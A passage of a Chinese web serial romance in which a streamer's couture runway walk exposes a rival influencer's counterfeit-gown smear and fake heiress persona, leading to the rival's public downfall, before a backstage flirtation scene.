可那声轻笑分明不是玩笑,他指尖擦过她掌心时的温度,还有那句“你这张嘴,真是能要人命”里都好像带着挑逗。 她把自己裹成蚕茧,又猛地掀开被子,像条被烤热的鱼在床上翻腾。 滚到床尾时,脚趾不小心勾住垂落的睡袍下摆。 她踉跄着差点因此跌下床。 窗外的夜风溜进来,掀起窗帘一角,她却觉得那风里都裹着黎云笙雪松味的衣角,冷冽又缠绵。 黎云笙这个男人,未免太可怕了。 最后她终于瘫成虾米,盯着天花板浮雕的鎏金花纹。 呼吸渐渐乱了节奏,胸脯起伏如浪,连指尖都泛着可疑的薄红。 手机在床头嗡嗡震动,她触电般弹起,却见是Sara发来的明日行程表。 锁屏熄灭的瞬间,屏幕上倒映出自己烧红的脸,黎云笙那男人,肯定是男狐狸精。 绝对是! 不管黎云笙到底是什么意思,温栩栩已经彻底给他扣上了男狐狸精的帽子。 第二天温栩栩准时醒过来,Sara的助理已经在门外候着带她去了秀场,就像黎云笙安排的那样,全部都换了和她几乎同等身高的模特。 她跟其他人不同,有自己的单人化妆间。 化妆师是个银发碧眼的法国女人,动作利落地为她调整妆面,睫毛刷扫过眼睑时,温栩栩从镜中瞥见Sara倚在门边,猩红烟头明灭,薄雾缭绕间那双眼睛亮得惊人。 化妆师为她上妆时Sara在一旁,Sara点了根烟抽着,透过镜子欣赏她那张明艳动人的面容,然后轻笑一声。 "Sara老师。"她礼貌颔首,却在对方轻笑出声时莫名紧张起来。 化妆师用刷子蘸取亮片眼影时,Sara忽然开口,嗓音裹着烟嗓特有的沙哑:“知道吗,其实星黛儿最近本没有秀,是黎少昨天临时决定给星黛儿加一场秀,为此还请来了多家媒体直播。”” “他作为黎氏集团的继承人,一向不管这些小事,可这次却特地为星黛儿开了一场秀,是为了你吧。” 烟灰簌簌落在她脚边,在纯白地毯上洇出星点焦痕,"他作为黎氏集团的掌舵人,向来连财报都懒得过目,这次却为了你亲自过问秀场安排……" Sara训练的时候看着严厉,可私下竟然很和善很八卦。 “Sara老师怎么猜到是为了我,我不觉得我有这么大影响力……”而且她也有自知之明,堂堂黎少为她专门开一场打脸馨雅的秀? 太可笑了。 "为我?"温栩栩喉间发涩,化妆刷的触碰让她睫毛颤得更厉害。镜中映出Sara玩味的眼神,对方慢悠悠吐出一口烟圈:"你那张脸可是会下蛊的。" “你怎么会没有影响力呢。”Sara歪头:“看看你自己的漂亮脸蛋儿,自信点,没有男人会不喜欢你这张脸,黎少……不过是比普通男人更会伪装罢了。” "您误会了,Sara老师。"她仓皇辩解,化妆师却在此刻为她定妆。 镜中人明艳逼人,烈焰红唇衬得肤色如雪,鎏金眼影在眼下绽开扇形光晕,活脱脱一副摄人心魄的狐妖模样。 Sara忽然伸手捏了捏她下颌,力道大得惊人:"自信点,温小姐。那群男人看到你,只会想把你拆骨入腹,黎少不过是比他们多披了几张绅士皮子。" 本质上黎云笙也是禽兽。 她指尖划过温栩栩锁骨那道淡红,"瞧瞧,连无意间的碰触都能让人浮想联翩。" 温栩栩唇角抽了抽。 “黎少知道您私下这么评价他吗?” Sara笑了一声:“你猜他知不知道呢。” Sara掐灭烟头时,金属烟盒在掌心发出清脆声响:"黎少的心思深得很,但有一点我敢保证……" 她突然凑近温栩栩耳畔,热气喷在敏感的耳廓,"他看你时的眼神,和那些想把你锁进金丝笼里的男人,一模一样。" “宝贝儿,我是让你长点心,而不是去当男人眼中可以被吞入口的点心。” 她这话算是忠告。 温栩栩此刻却有些愣神,但她知道对方确实是在为自己考虑。 男人是这样的,区别只在于黎云笙更有钱更俊美,但禽兽的本质是没有改变的。 她突然就冷静下来,此前因为黎云笙的那点暧昧也在此刻烟消云散。 她轻笑出声,那些暧昧旖旎的揣测不过是场虚妄的游戏,本就不该当真。 星黛儿的走秀终于开始,大秀是直播形式的,现场也是数不清的媒体都在进行拍摄,温栩栩终于登上了T台。 温栩栩踏上T台的那一刻,脊背瞬间绷直成优雅的弓弦。 直播镜头疯狂推近,高跟鞋敲击地面的节奏被她拆解成刀刃的舞步,每一步都精准切开空气,在观众席掀起无声的浪涌。 直播弹幕瞬间炸裂。 {这腰线是真实存在的吗!} {眼神杀到我瞳孔地震!} {这位模特姐姐叫什么名字!她就该混娱乐圈啊!} 温栩栩将下颌微扬至最凌厉的角度,嘴角却绽出甜美的笑涡。 她突然明白Sara的深意——男人眼里的"点心""猎物"与“猎人”之间,差的从来不是美貌,而是掌控身体与灵魂的刀刃。 弹幕都在夸奖她的容貌,但已经有人察觉了不对。 {就真的没有人发现这位模特姐姐跟昨晚被停掉直播那位一模一样吗……} {跟馨雅连线那位……馨雅直播说温栩栩的星黛儿礼服裙是假的,但现在星黛儿邀请温栩栩走秀,甚至身上也有那件紫色礼服裙……星黛儿是在帮她打脸吧!} {馨雅说温栩栩星黛儿礼服裙是假的,星黛儿就让她走秀!到底谁的礼服才是真的这完全能说明问题!馨雅的礼服裙才是假的啊!} 第961章 秀场 星黛儿,作为黎氏集团旗下最负盛名的顶级高定品牌,其每一件作品都堪称华国刺绣工艺的巅峰之作。 这次为温栩栩身上那件紫色的礼服裙是品牌首席设计师耗费三个月心血亲手缝制完成。 礼服采用四色限量款设计,每一色均以不同主题的东方纹样为灵感。 四套礼服不仅色彩迥异,连刺绣针法都各有千秋。 盘金绣、打籽绣、乱针绣、双面绣各种秀法都可以从这套礼服裙中看到,几乎是在炫技。 如此繁复的手工耗时与珍稀材料,使得单件礼服起价便高达七位数,这次算是星黛儿主推款。 星黛儿自创立之初便以“刺绣为魂”的理念立足国际高奢圈,其作品不仅是国内名流的标配,更在海外上流社会掀起热潮。 曾有中东王室斥资千万订购整套婚服,亦有欧洲贵族将品牌礼服视为圈层名流的“入场券”。 这种近乎传奇的市场地位,让任何与星黛儿相关的风波都能瞬间点燃舆论焦点。 而这次温栩栩和馨雅之间因为谁穿了赝品而就此登上热搜。 而这场争议的女主角之一馨雅,正是深谙流量密码的顶级网红。 馨雅一直打造的都是华国帝城圈子的千金名媛,她经常直播的是自己家的大房子和豪车,去各地旅游,就像是无忧无虑的千金,不用被金钱所困扰。 她的直播间永远飘荡着香槟与玫瑰的气息。 出行是私人飞机,背的包永远是动辄百万的限量款,衣服永远是高奢。 她打造的无忧千金人设太过成功,以至于粉丝们都坚信馨雅衣橱里的每一件高奢礼服,必然是货真价实的“高定天花板”。 所以这次馨雅的粉丝才认为馨雅的衣服才是正版。 昨晚温栩栩的直播被故意关停,馨雅那边就买了黑热搜。 因为馨雅是大主播,粉丝就有几百万,且还经常卖货粉丝也很多,所以在温栩栩被迫停播后馨雅这边立刻买了温栩栩的黑热搜。 馨雅的知名度还是很高的,就算不关注的也刷到过她的视频知道这位是有名的名媛千金,所以网友们都认为温栩栩确实是在蹭热度。 温栩栩并不是头部主播。 再加上有馨雅的粉丝围攻,有人质疑礼服的刺绣纹路与品牌官宣图存在细微偏差,更有人恶意揣测她不过是穿了高仿A货来蹭馨雅的热度。 直播的时候温栩栩还被馨雅内涵说是不懂事的小妹妹。 而温栩栩的直播间更因“涉嫌违规”被平台强制关停,馨雅的粉丝疯传温栩栩穿盗版的消息围攻她。 昨晚温栩栩停播后馨雅团队的动作却愈发凌厉。 他们斥资千万买下的黑热搜“#温栩栩穿赝品礼服蹭热度#”如病毒般席卷全网,热搜词条下附带的“证据截图”刻意将温栩栩礼服与星黛儿官方图拼贴对比,放大那些被刻意裁剪的“瑕疵”。 更狠的是,营销号联动放出所谓“业内爆料”,称温栩栩直播间那些挥金如土的“二代们”不过是群演,为了烘托氛围故意找的混子演员。连刷礼物的数据都是后台注水造假。 馨雅几百万粉丝的质疑,社交媒体上充斥着“小主播碰瓷名媛”的嘲讽,甚至有人恶搞P图将温栩栩礼服换成廉价窗帘布,配文“打肿脸充胖子的典范”。 标题“小主播穿假货蹭名媛热度”的帖子被顶到热搜榜首,评论区充斥着对温栩栩的嘲讽。 {直播间里那些刷礼物的‘二代’都是群演吧?连礼服都租不起还装名流?} {看她那土气的刺绣就知道是假货,真当星黛儿会卖给这种十八线主播?} {馨雅才是真正的千金,温栩栩这就是故意碰瓷!} {温栩栩的团队能不能出来啊,我真的很想骂人啊!} 更有人恶意P图将她与礼服假货市场卖家合影,转发量瞬间突破十万。 与此同时,馨雅的粉丝后援会发起“守护正品尊严”活动,号召全网抵制假货主播,甚至有人到温栩栩直播间录屏举报,导致平台以“涉嫌欺诈”为由强制停播。 这场舆论碾压的背后,是资源悬殊的残酷现实。 馨雅团队掌握着成熟的公关链条,从联系检测机构伪造“鉴定报告”到批量购买水军控评,再到向平台施压封禁温栩栩直播间,每一步都精准且高效。 馨雅当然担心温栩栩直播间的真是群二代,但她不认为那群富二代能为了温栩栩出头,因为没这闲工夫。 昨晚温栩栩被黎云笙接走联系台步,根本没时间看网络上的黑热搜,所以并不知晓自己被骂的事。 现在温栩栩穿着那件被质疑假货水货的紫色礼服裙在星黛儿的秀场,甚至在台上为观众展示星黛儿的礼服,这直播几乎是全方位的打脸了馨雅。 馨雅的团队是如何嘲讽温栩栩,如何针对温栩栩的,这次被全面攻击回来。 温栩栩参加的可是星黛儿的秀!穿的就是馨雅说的盗版的那件礼服裙! 如果真的是盗版!星黛儿能让温栩栩去走秀吗! 这简直就是星黛儿官方去打脸了馨雅,谁身上的是盗版,谁的是正版一目了然! 当温栩栩踩着水晶高跟鞋踏上星黛儿秀场T台时,全场灯光骤然聚拢。 那件曾被质疑为“盗版”的紫色礼服在聚光灯下泛着丝绸特有的流光,裙摆刺绣的花纹仿佛随风摇曳,每一片金线都精准勾勒出特有的精致花纹。 她的发髻高绾成古典云鬓,珍珠流苏鬓饰随步伐轻颤,与礼服上的花纹相呼应。 妆容是淡雅的烟霞色,唯有唇间一抹绛红如秋日枫叶,为清冷的气质添了三分炽热风情。 当她转身时,礼服后腰处的镂空设计恰似绽放的鸢尾花。 露出的那抹纤细的腰线更添几分魅惑。 肌肤在光影交错间泛着白皙莹润的光泽,美得惊心动魄。 镁光灯在此刻疯狂闪烁,快门声如暴雨般密集。 摄影师们甚至顾不上调整参数,镜头紧贴着长焦镜头追逐她的身影,生怕错过任何一处细节。 第962章 真当网友眼瞎? 直播间画面同步呈现她的绝美风采,百万网友瞬间被这场视觉盛宴征服。 弹幕如流星雨般刷屏。 {这才是真正的华服!} {是新的超模吗?没见过这位,真的太美了!} 热搜词条“温栩栩 星黛儿孤品”在五分钟内飙升榜首,社交媒体上无数时尚博主疯狂截图分析:“注意看礼服腰部的渐变刺绣,从紫到金的过渡毫无色差,这种手工渐变染线技术全球不超过三家工坊能完成!” T台两侧的观众席上,名流们纷纷举起手机录像。 有海外名媛低声惊叹:“这才是星黛儿!比上次拍卖会那件还要惊艳。” 国内顶尖设计师摘下眼镜擦拭,喃喃道:“这姑娘把刺绣穿成了流动的星河,明明不像是专业模特,可就是会让人将目光放到她身上完全移不开眼。” 温栩栩步履从容,每一步都精准踩在音乐的节拍上。 她微微扬起的下颌透着骨子里的自信,目光如秋水般澄澈,又似藏着万千星辰。 当她行至T台尽头定点转身时,那张明艳动人的面容更是惊的人心尖发颤。 台下响起雷鸣般的掌声,已经有海外来的时尚常客摘掉自己衣服上的高奢胸针丢到台上当做礼物送给她,欢呼雀跃着。 而弹幕已经有人科普了这就是昨晚被馨雅嘲讽穿盗版的小主播。 这场风波不仅让微博热搜接连爆炸,更将网红圈的光鲜与暗流推至公众视野。从“全网黑温栩栩”到“集体嘲讽馨雅”,舆论的反转速度之快,堪比戏剧。 这次不只是弹幕都在提馨雅,微博更是连带着温栩栩那条黑热搜一起冲上来。但这次跟昨晚不一样了,昨晚全都是骂温栩栩的,现在全都是嘲讽馨雅了。 {昨晚馨雅暗示温栩栩的礼服是盗版,真要是盗版星黛儿不会请温栩栩走秀的,望周知。} {笑死了,馨雅知道打脸来的这么快吗?} {昨晚就是很奇怪啊,人家温栩栩自己开播唱歌,突然就被馨雅连麦了,然后她家粉丝疯狂攻击温栩栩,还嘲讽温栩栩直播间的富二代们是水货,人家砸了两三百万还说人家装阔气,后来温栩栩的直播间直接掉线了,到底是因为什么掉线的,好难猜呢。} {馨雅跟温栩栩是同一家公司,馨雅是大主播,温栩栩就是个小透明,发生这种事公司会选择报谁这还用说呢?才起争执温栩栩直播间就掉线,一整晚都是黑热搜,不是有预谋的谁信呢?} {温栩栩才被弄到下拨全网都是黑料,都在骂温栩栩,到底是谁策划的呢,好难猜啊。} {笑死,看看温栩栩身上那件衣服吧,怎么有人还敢说温栩栩穿的是盗版的啊!你们的眼睛真的没问题吗?温栩栩身上那件衣服渐变颜色的刺绣,馨雅身上有吗?馨雅那辅路还是开了滤镜的,结果呢?就这?星黛儿没告她?} {馨雅不是第一次干这种事儿了!她以前也穿过盗版礼服,但一直被压下去了,之前海外高奢的盗版她也穿过,还炫耀自己身上的事专款高定,后来被人家警告后删除了视频,团队一通洗白说自己是被骗了,被那边的工作人员欺骗卖了假货,国内的还真信了。} {她到底是不是白富美啊,真是名媛千金能干得出穿盗版的事儿来?} {名媛千金给你在网络上卖货,你觉得这是真千金干得出来的事?} {不是说千金不能开直播,但是馨雅这个开的太频繁了,而且什么都卖,什么广告都接,感觉都已经没有下限了。} {真千金不会穿假货,就算零花钱不够也不会穿假货,只会退而其次选择其他高奢或者星黛儿其他价位的礼服,而不是穿盗版,还在网络上标榜自己是正版,是千金名媛。} {馨雅搞这事儿其实说白了就是认为这衣服就那么几件,真千金或者海外贵族不会上网看不到这些才敢这么大胆的。} {其实就是小丑,她的人设就是千金名媛吧,其实最多也就是个暴发户。} {真千金在宴会厅继承家业,假名媛在直播间卖9.9包邮的护肤品} 她的频繁直播与无下限接广告,早已将“名媛”异化为“流量工具人”。 当初本就有些人质疑千金名媛怎么会轮番开播带货娱乐大众,那时被馨雅的粉丝和营销团队追着骂并且拉黑,现在终于遭到了反噬。 她未发一条澄清微博,却用品牌官方认证击碎了所有谣言。 直播间掉线的真相至今成谜,但网友的推理已然指向资本操控:“公司保馨雅弃温栩栩,技术手段封杀小主播,黑热搜连夜铺排,这不是预谋是什么?” 网络时代的舆论战,往往比现实更残酷。馨雅用谎言编织的人设崩塌,温栩栩用实力撕开黑暗的幕布,而无数网友的“显微镜观察”让真相无处遁形。 此刻馨雅的团队早已乱作一团。 经纪人盯着热搜榜上飙升的“星黛儿认证温栩栩礼服”词条,手指颤抖着刷新页面,眼睁睁看着自家买的黑热搜被“星黛儿官方辟谣”。 温栩栩参加星黛儿时装秀就已经是打脸了馨雅,大秀结束,星黛儿特意登录官方账号转发了摄影师拍摄的温栩栩穿着那件紫色礼服走秀的视频,并发言“灰姑娘的公主裙。” 灰姑娘的公主裙,那件礼服是公主裙,不就代表星黛儿承认温栩栩身上的才是正品。 那谁的是假货? 星黛儿什么都没说,却已经算是暗示了馨雅的礼服裙是盗版。 馨雅还在开直播,此刻直播间屏幕突然被铺天盖地的谩骂淹没。 {假货女王!} {你身上多少年都是假货!穿假货还穿的理直气壮网暴别人!栓好你自己的狗!} {人设崩塌了吧?真当网友眼瞎?} 馨雅的手抖得几乎握不住手机。 弹幕如暴雨般砸进直播间,谩骂,数不清的谩骂。 她试图用笑容掩盖慌乱,但嘴角抽搐的弧度却显得格外僵硬。 第963章 塌房 “大家别听信谣言……这件事肯定有误会……”她的声音越来越小,冷汗顺着脖颈滑落。 屏幕右上角的观看人数仍在疯狂攀升——从十几万暴涨到百万,但涌进来的不再是追捧她的粉丝,而是举着“证据截图”来质问的网友。 {你身上那件礼服连渐变刺绣都没有,还敢污蔑别人?} {星黛儿官博都盖章了,你穿的是地摊货吧?} {以前高奢盗版的事还想洗?自己翻翻旧视频!} {当初我就说了,真千金怎么可能在网上直播给我们卖货!我们什么东西配让千金名媛卖货?} {千金?你是哪里的千金,哪家的?昨晚那些二代就问了,你敢说吗!} {你家粉丝嘲讽那群二代是假的富二代,可人家直接就送了几百万礼物,这也是假的,那也是假的,怎么我看着就你馨雅是假的!} {没别的意思,你说你是名媛可以啊,你说你是哪家的吧,这次礼服别到最后又说是工作人员糊弄你,你买错了,毕竟也不是一回两回了,来,我们给你机会解释,来啊!} {带节奏骂温栩栩的时候心里爽死了吧!现在慌了吗!怕了吗!吓死你!} 评论区的戾气几乎冲破屏幕,她慌乱地滑动页面,却越看越心惊。 有人将她的礼服与温栩栩的高清对比图做成九宫格,有人截取她过去炫耀“高定”的直播片段,甚至有人开始深扒她的家庭背景,质疑“白富美人设”的真实性。 她自己是不是白富美馨雅心里当然清楚,这都是公司包装的人设。 她其实就是个暴发户在外的私生女,母亲还是个小三,如果这件事也被扒出来,那一切就全完了。 “砰!”她猛地按下直播关闭键,手机被重重摔在化妆台上。 镜面裂开的蛛网纹路仿佛在嘲笑她的狼狈。 馨雅瘫坐在真皮沙发上,指尖颤抖着刷新微博。 #馨雅穿盗版礼服# #星黛儿打脸馨雅# #假名媛人设崩塌# 三个话题牢牢霸占热搜前三。 词条后面血红的“爆”字刺得她眼眶发酸。 “怎么办……怎么办……” 她语无伦次地拨通经纪人电话,指甲深深掐进掌心。 “喂!”经纪人沙哑的声音传来时,馨雅几乎要哭出来,“全网都在骂我!直播间那些人疯了……现在怎么办?公司会不会不管我?” “慌什么!”经纪人劈头盖脸的训斥让她瑟缩,“你自己闯的祸,现在知道怕了?早干嘛去了!之前穿盗版高奢被警告,你非说是被骗,结果转头又搞这出!星黛儿官方认证都出来了,你怎么去洗?星黛儿没有告你都是星黛儿大方!” 馨雅咬住嘴唇,眼眶通红。 她想起昨晚连麦时自信满满的模样。 温栩栩直播间掉线后,她还得意地发微博暗讽希望新人主播做人低调些。 可谁能想到,星黛儿竟会亲自下场,而网友挖出她旧事的效率远比想象中快。 “现在只能发道歉声明,承认礼服是误会,但必须强调是团队失误。”经纪人的声音透着疲惫,“公关团队已经在联系水军控评,但这次舆情太猛……你最好准备接受一段时间的冷处理,别再开口乱说话了!” “可那些骂我的评论……还有黑热搜!”馨雅崩溃地揪着裙摆,“他们会扒出更多黑历史!我之前接的山寨代言、卖假货……会不会被封杀?” “封杀不至于,但资源肯定会受影响。”经纪人语气冷硬,“公司能保你一次,保不了你一辈子。这次要是处理不好,以后商务合作都会谨慎。你自己想想怎么跟品牌方解释吧!” 通话戛然而止,馨雅盯着挂断界面,感觉浑身血液都在倒流。 她颤抖着点开品牌合作群,果然,一些品牌对接人已经撤出群聊,其他负责人合作方头像全部灰暗。 她慌忙私信几位合作方,却只收到冰冷的自动回复或已读不回。 恐慌如潮水将她淹没。 她蜷缩在沙发角落,反复刷新热搜,看着自己的名字与“假货”“人设崩塌”永久绑定。 突然,一条新爆出的帖子让她瞳孔骤缩。 网友翻出她三年前在海外拍卖会上穿的“高定礼服”,实为国内小作坊的仿制品,而当时她信誓旦旦称那是“家族传承的珍品”。 “不……这不是真的……”她喃喃着,指尖失控般删除评论,却根本赶不上新帖子的涌现。 手机突然弹出一条私信:“馨雅,温栩栩那边要起诉你恶意诽谤,公司压不住了。你到底为什么要针对温栩栩!你完了!你完了!” 她眼前一黑,瘫软在地。 水晶吊灯的光晕在泪水中扭曲成嘲笑的鬼脸。 正在此刻,已经有人特意发帖撕开馨雅最后的假面。 {网络上那个爆红的主播馨雅其实根本就不是帝城什么名媛圈层的,这人一直标榜大家族千金,其实连小千金都算不上,她的父亲就是个暴发户,且还是个出轨有情人的暴发户,馨雅的母亲就是暴发户的情人,馨雅就是个私生女,她靠着暴发户父亲整成了现在这样。} {馨雅不是名媛,只是私生女,她当初视频里面炫耀的私人飞机,私人豪车还有别墅全都是租的,可以找到原图,她的名牌包包多数也都是假货,已经证实她的千金人设都是公司炒出来的,昨晚温栩栩突然被迫终止直播也是馨雅团队设计的} 此贴晒出了馨雅的那些租赁合同,甚至以前穿的礼服还有背的包包都被专业人士鉴定为假货。 馨雅一直称自己没有整容纯天然美女,有人翻出她早年青涩的照片,与如今尖下巴、饱满嘴唇的精致面容对比,医美记录如罪证般陈列。 削骨手术的缴费单、H国整形医院的定位、甚至丰胸填充的术后照,每一项都戳破她“纯天然美女”的谎言。 馨雅彻底塌了。 此刻的馨雅,如同被剥去所有华服的木偶,在万千网友的凝视下,露出最丑陋的真相。 第964章 自作自受 馨雅彻底塌房。 虽然没到被封杀的程度,但已经大批量脱粉。 馨雅的粉丝本就不算是多高质量的粉丝,此前算是被馨雅设计去攻击了温栩栩,现在脱粉回踩更是厉害,馨雅的黑料全都被扒出来。 那群粉丝知道自己曾被馨雅团队精心设计的“正义感”蛊惑,成为攻击他人的工具时,愤怒瞬间转化为汹涌的报复。 馨雅虽然没有被封杀,但新发了视频下面就会是这群粉丝疯狂辱骂嘲讽。 有人想买馨雅直播带的那些货,这群人就会冲进去嘲讽网友不要买馨雅的货,因为馨雅自己就是全身假货,自己就是个Low货,卖的能是什么好东西? 馨雅也确实是卖过假货,卖的东西出现过问题,但是馨雅没有给对方售后而是拉黑了对方,甚至后期因为对方差评发视频吐槽故意找人堵了对方,最后逼着对方撤了视频并拍摄道歉视频。 这事儿确实是馨雅做出来的,谁也没冤枉她。 馨雅原来的粉丝疯狂吐槽这件事,加上最近各种事闹得乱哄哄,馨雅手中的商业合作已经所剩无几。 曾经蜂拥而至的品牌方如今避之不及,他们发现馨雅的带货数据早已注水成灾。 那些下单的ID,多是粉丝故意拍下后退货的恶意操作。 直播间里,每当馨雅试图推销新款商品,粉丝们便整齐刷屏。 “假货主播配卖假货!” “你的钻石项链是塑料做的吧?” 甚至有人潜入品牌官方账号评论区,警告潜在消费者远离这个“道德与商品双劣质”的主播。 久而久之,销售额跌至谷底,合作邀约几乎快要断流。 只要馨雅直播,那群人就会一遍又一遍的重复馨雅的黑料,直到网友们吃够了瓜最后没买东西就走了。 时间久了,几乎没卖出什么东西,品牌方们也就不再合作了。 曾经的大主播馨雅也变成了小透明主播。 失去商业价值的馨雅,被经纪人毫不犹豫地抛弃。她的经纪人也去带新人,没再顾着她。 那个曾为她打造人设、策划炒作的团队,迅速转向更具潜力的小网红。 馨雅的母亲是小三,她本就是私生女,暴发户父亲其实最在意的还是儿子,见她是个女孩子本来就没打算给她什么东西,所以馨雅只能自己捞金。 她试图自救,可馨雅有才艺吗?并没有多少,她是靠着炒作起来的,唱跳都一般。 但为了自救还是转型美妆博主,结果妆容却被嘲“廉价仿妆”。 挑战唱跳视频,基本功的拙劣暴露无遗。 每一次尝试都成为新一波嘲讽的素材。 可她不肯放弃,就算成了小透明,她还想要继续捞金,直到她终于踏进擦边直播的灰色地带。 深夜的直播间里,滤镜开到失真,馨雅穿着暴露的服装,用暧昧的语言挑逗观众。 整容后的脸庞在柔光中仍有几分艳丽,吸引着部分男性驻足。 她深知这是饮鸩止渴,流量短暂回升,打赏却多为羞辱性的低额礼物,评论区里充斥着对“堕落千金”的戏谑。 但她已别无选择,父亲从未给予的支持、网红圈子的冷酷淘汰机制、以及自己贫瘠的才艺储备,将她推入这个深渊。 曾经的大主播,最后沦为了擦边博主。 可谁管这些呢? 网红圈子里有的人对她命运的唏嘘中还裹挟着快意。 有人冷笑:“炒人设炒到帝城圈子面前,真当那些真正的名媛会认你这假货?” 馨雅的失败,不仅是道德崩塌的报应,更是虚假营销的反噬教科书。 她与其他卖假货的主播不同,将“高端人设”与劣质商品强行捆绑,透支了观众的信任。 当伪装被撕碎,网友的反感便如火山喷发。 如今,馨雅在擦边直播的泥潭中越陷越深。 偶尔有旧粉截图她的窘态,配上“昔日名媛沦为玩物”的标题传播。 她或许仍在幻想翻身,却不知互联网的记忆从不仁慈,那些些被她背叛的信任、被她侮辱的观众、被她践踏的道德底线,早已将她钉在了耻辱的十字架上。 有人曾经幸灾乐祸觉得馨雅活该。 确实是活该,本就不是千金名媛,炒什么千金的人设?帝城圈子那群大人物不搭理你,你就真当自己是块点心了? 人家真要封杀你针对你你都没地儿哭去。 更不要说买了那么多盗版水货。 确实有人买盗版水货,但没有人像馨雅这样炒千金名媛的人设,说自己的都是真品,所以才会被反噬的如此厉害。 最重要的一点,她其实就是故意针对的温栩栩。 她知道自己公司王明洋签了个美人主播,她在公司的时候见过一面,所以新生妒忌,温栩栩开播这几天她都故意让关系好的专员不给她推荐,让她数据完全冷掉,但没想到这次温栩栩的直播间还有了富二代刷钱直接刷到了榜首。 馨雅很清楚温栩栩那张脸有多漂亮,不光斩男还斩女。 一旦让温栩栩火起来,以后一定会力压自己。 所以馨雅才故意跟温栩栩连线直播,看到温栩栩跟自己是同款后才升起了栽赃陷害的心思。 她敢栽赃温栩栩就是因为调查过温栩栩的资料,无父无母孤儿一个,这样的人买得起价值百万的礼服裙? 所以馨雅才那么不留情面的攻击温栩栩。 可万万没想到,温栩栩虽然是个小透明,却真的攀附了富二代。 谁能猜到温栩栩身上那件礼服是真品呢!馨雅不敢想她到底用什么手段勾搭了富二代。 她现在后悔却已经晚了。 这个曾以“千金名媛”人设横扫短视频平台的大主播,如今在镜头前只剩下寥寥无几的观众,评论区里铺天盖地的辱骂与嘲讽,像一场永不消散的黑色默剧,可笑讽刺。 馨雅的结局完全可以预见,温栩栩对此其实并没有多深的感触,只能说一环扣一环,馨雅走到这一步全怪她自己。 温栩栩从T台下来回到休息室,她是真的很累,昨晚被Sara特训了那么久,又因为黎云笙那些有意无意的挑逗几乎是整晚都没睡好,大早上就被手机吵醒化妆走秀,她回到休息间就想瘫在沙发上,结果才推开门就看到韩城和黎云笙都在她的休息间。 空气仿佛凝固了一瞬。 第965章 是要摸还是要推 韩城斜倚在沙发扶手上,指尖还夹着半支未燃尽的烟,薄荷味的烟雾缭绕在他周围。 黎云笙正坐在她常用的化妆镜前,他抬手调整了一下领带,银质袖扣在灯光下折射出冷冽的光,衬得他整个人愈发危险冷漠。 听到推门声,黎云笙抬眸,目光缓缓落到她身上。 温栩栩的呼吸微微一顿。 他在看她,却又不像在看她。 和在T台上不同,此刻的温栩栩少了在台上时那种明明美艳却高不可攀的淡漠疏离,平添了几分娇憨。 此刻她的发丝有些凌乱地垂在颈侧,锁骨处还残留着定妆时撒落的金粉,像是被阳光吻过的痕迹。 紫色的裙子确实会衬得人更优雅有韵味儿,非常适合温栩栩。 礼服贴合着她身体的弧度,从腰际到臀部的曲线被完美勾勒,每一步都似有若无地摇曳生姿。 裙摆下露出的小腿线条流畅如天鹅,脚踝处系着的细链随着动作轻晃,发出细碎的铃音。 温栩栩大概就是某些人说的天使脸蛋儿魔鬼身材,这件礼服也更凸显了她的曲线,漂亮中透着勾人的意味儿。 就像那些摄影师说的,她很美。 黎云笙只是看着便觉得有些渴了。喉结无意识地滑动了一下。 而此刻,温栩栩正站在门口,眼神里带着困倦与警惕,像一只被惊扰的猫。 “栩栩”韩城率先出声,嗓音裹着惯常的慵懒笑意,“辛苦了。听说你昨晚几乎没合眼?” 他弹了弹烟灰,问道:“要不要喝点什么?咖啡?或者红茶?牛奶?” 话音未落,黎云笙已从镜前起身。 他步子极轻地走近温栩栩,他步履轻缓,却让她的心跳愈发急促。 男人的气息将她笼罩,他忽然抬手,指尖抚过她耳后黏着的发丝:"妆花了。" 语气是陈述句,动作却带着点不容拒绝的侵略性。 好像这一瞬间,被他看做了猎物。 温栩栩下意识后退半步,后背抵上冰凉的金属衣架。 黎云笙的拇指却顺势滑到她颈侧,沿着礼服开领的边缘游走,像是描摹一件艺术品。 “紫色很适合你。”他低语,呼吸擦过她的耳畔,“很漂亮。”尾音带着某种沙哑的喟叹。 温栩栩感觉到他指节掠过肌肤时带起的战栗,身体有些敏感的轻微抖动了下,像是受惊了。 休息室的温度似乎骤然升高,韩城按灭烟头的动作在寂静中格外清晰。 韩城看着眼前这一幕,总觉得自己是缺了点什么课。 此前温栩栩是装男人才跟韩城玩到一起进了他们的圈子,所以在韩城眼里温栩栩其实跟拜把子的兄弟没多少区别。 他压根就没把温栩栩当女人看,虽然漂亮,但韩城脑子缺一根弦,在他眼里温栩栩那就是兄弟,就是哥们。 可现在黎云笙到底在干嘛? 他这是在骚扰温栩栩吗! 啊? 他兄弟骚扰他兄弟? 黎云笙这么变态啊! 咦! 韩城盯着黎云笙那只游移在温栩栩颈侧的手,觉得自己眼睛都有点疼了。 记忆中温栩栩总是一身利落西装,她大概是真的很会化妆,明明是长发,但就是让人觉得是男孩子,还是个漂亮的男孩儿,可大概是垫了肩,所以肩很宽,所以就算现在知道温栩栩是女人了,还是跟眼前这人有点对不上焦。 “兄弟”这个词在舌尖打了个转,突然变得生涩起来。 他想起上周聚会时温栩栩被灌醉,蜷在沙发里嘟囔着“腰好酸”的模样,当时还觉得她矫情,可这会儿知道她是女人就觉得……艹,总有那么几分怜惜啊。 韩城后知后觉地意识到,温栩栩从来都不是“他”,而是“她”。 烟头烫到指尖的刺痛让他猛地回神。 韩城甩了甩头,烦躁地按灭烟蒂。 不知道为什么此刻看到黎云笙接近温栩栩,就是觉得……黎云笙此刻好像变成了狩猎者,而温栩栩成了猎物。 自己兄弟把自己……“前兄弟”当猎物。 他该做什么?呵斥黎云笙?可这混蛋分明是他一起长大的兄弟。 韩城觉得自己头更疼了。 啊,好烦。 不是,他就说昨晚不该喝那么多酒,现在又忘记之前的事儿了。 黎云笙跟温栩栩好像就该这么亲密吧。 他俩不是传言早就在一起孩子都有了。 啊对对对,就是这么回事儿。 韩城想到这一茬,瞬间不觉得这俩人凑一起眼睛疼了,甚至有种就该如此的感觉。 但是又觉得别扭。 一个是他兄弟。 另一个也是他兄弟。 这俩搞一起……是会直接忽略他的吧! 那不行啊! 韩城立刻支棱起来:“你俩干嘛呢!我还在呢!黎云笙你离温栩栩远点的!” 韩城中气十足的吼声在休息室里炸开,他知道自己这模样多少有点滑稽,大高个儿叉着腰,活像护食的看门狗,可偏偏就是不肯挪脚。 黎云笙:“……” 温栩栩:“……” 温栩栩是真的松了口气,谢天谢地韩城在,不然她又要被黎云笙撩的脸红心跳了。 